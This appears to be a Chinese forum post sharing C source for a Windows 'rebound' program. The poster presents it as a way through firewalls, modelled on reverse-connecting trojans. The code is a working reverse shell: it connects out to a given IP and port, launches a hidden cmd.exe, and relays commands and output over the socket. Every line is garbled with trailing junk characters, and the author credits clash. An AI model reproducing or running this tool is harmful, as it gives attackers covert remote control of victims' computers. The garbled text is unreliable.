这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ./[t'dgC
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/* ============================== ,(]hykbXp
Rebound port in Windows NT dhV=;'
By wind,2006/7 _I75[W!
===============================*/ o^lKM?t
#include [P"#?7 N
#include p>!`JU`{?
(m@({
#pragma comment(lib,"wsock32.lib") 6Si z9
*)"`v]
void OutputShell(); (LGx;9S?
SOCKET sClient; !d^5mati)T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vw+U?
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void main(int argc,char **argv) ,%D \
{ ;K`qSX;;c(
WSADATA stWsaData; TqzkF7;k4
int nRet; yfi.<G)S
SOCKADDR_IN stSaiClient,stSaiServer; )=2iGEVW
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if(argc != 3) e)GFJ3sW_
{ nIdvff
printf("Useage:\n\rRebound DestIP DestPort\n"); [1l ,I[
return; St'3e<
} z$S)|6Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); ECQ>VeP
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3~"G27,
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stSaiClient.sin_family = AF_INET; c:4i&|n
stSaiClient.sin_port = htons(0); `WX @1]m
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TLw.rEN!;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0o c5ahp
{ yX<Sk q
printf("Bind Socket Failed!\n"); /tDwgxJ
return; P**h\+M>{
} I6zKvP8pb
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stSaiServer.sin_family = AF_INET; \za 0?b
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]qvrpI!E!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QGn3xM66
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w}X <]u
{ / 9^:*,
printf("Connect Error!"); "Lw[ $
return; ~X)Aw3}F
} Z;-=x p
OutputShell(); M qFuZg
} w+z~Mz}Vz
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void OutputShell() <"X\~
{ 7c5+8k3
char szBuff[1024]; jgK8} C
SECURITY_ATTRIBUTES stSecurityAttributes; .\".}4qQ
OSVERSIONINFO stOsversionInfo; 1T!(M"'Ij
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =0
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STARTUPINFO stStartupInfo; Am{Vtl)i
char *szShell; H0LEK(K
PROCESS_INFORMATION stProcessInformation; LJ\uRfs
unsigned long lBytesRead; p gWBW9\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zU}Ru&T9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )E;B'^RVR
stSecurityAttributes.lpSecurityDescriptor = 0; U\s.fIr
stSecurityAttributes.bInheritHandle = TRUE; F^fL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7A<X!a
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "**Tw'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Py_yIwQqg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p.~hZ+ x_
stStartupInfo.wShowWindow = SW_HIDE; RoS&oGYqR
stStartupInfo.hStdInput = hReadPipe; 0g o{gUI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Wl\.*^`k
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GetVersionEx(&stOsversionInfo); $pr\"!|z
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switch(stOsversionInfo.dwPlatformId) ~
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{ 1wAD_PI|BH
case 1: KxhMPvN'
szShell = "command.com"; +-"uJIwMD
break; ;&RBg+Pr
default: |KY6IGcqV
szShell = "cmd.exe"; sVWOh|O[W
break; _c$l@8KS^
} 3)cH\gsg9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >BFUts%
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send(sClient,szMsg,77,0); YS],o'T
while(1) VC~1QPC9
{ }w&W\g+E$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w=JO$7
if(lBytesRead) icS%])3LF
{ @$mh0K>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r9sq3z|%
send(sClient,szBuff,lBytesRead,0); N)CM^$(T|
} 2 8>
else pUF$Nq>og
{ /;E{(%U)t
lBytesRead=recv(sClient,szBuff,1024,0); r`-=<@[
if(lBytesRead<=0) break; O2N7qV3U,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (`'(`x#
} FWC\(f
} Mj!\EUn
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return; &lM=>?
}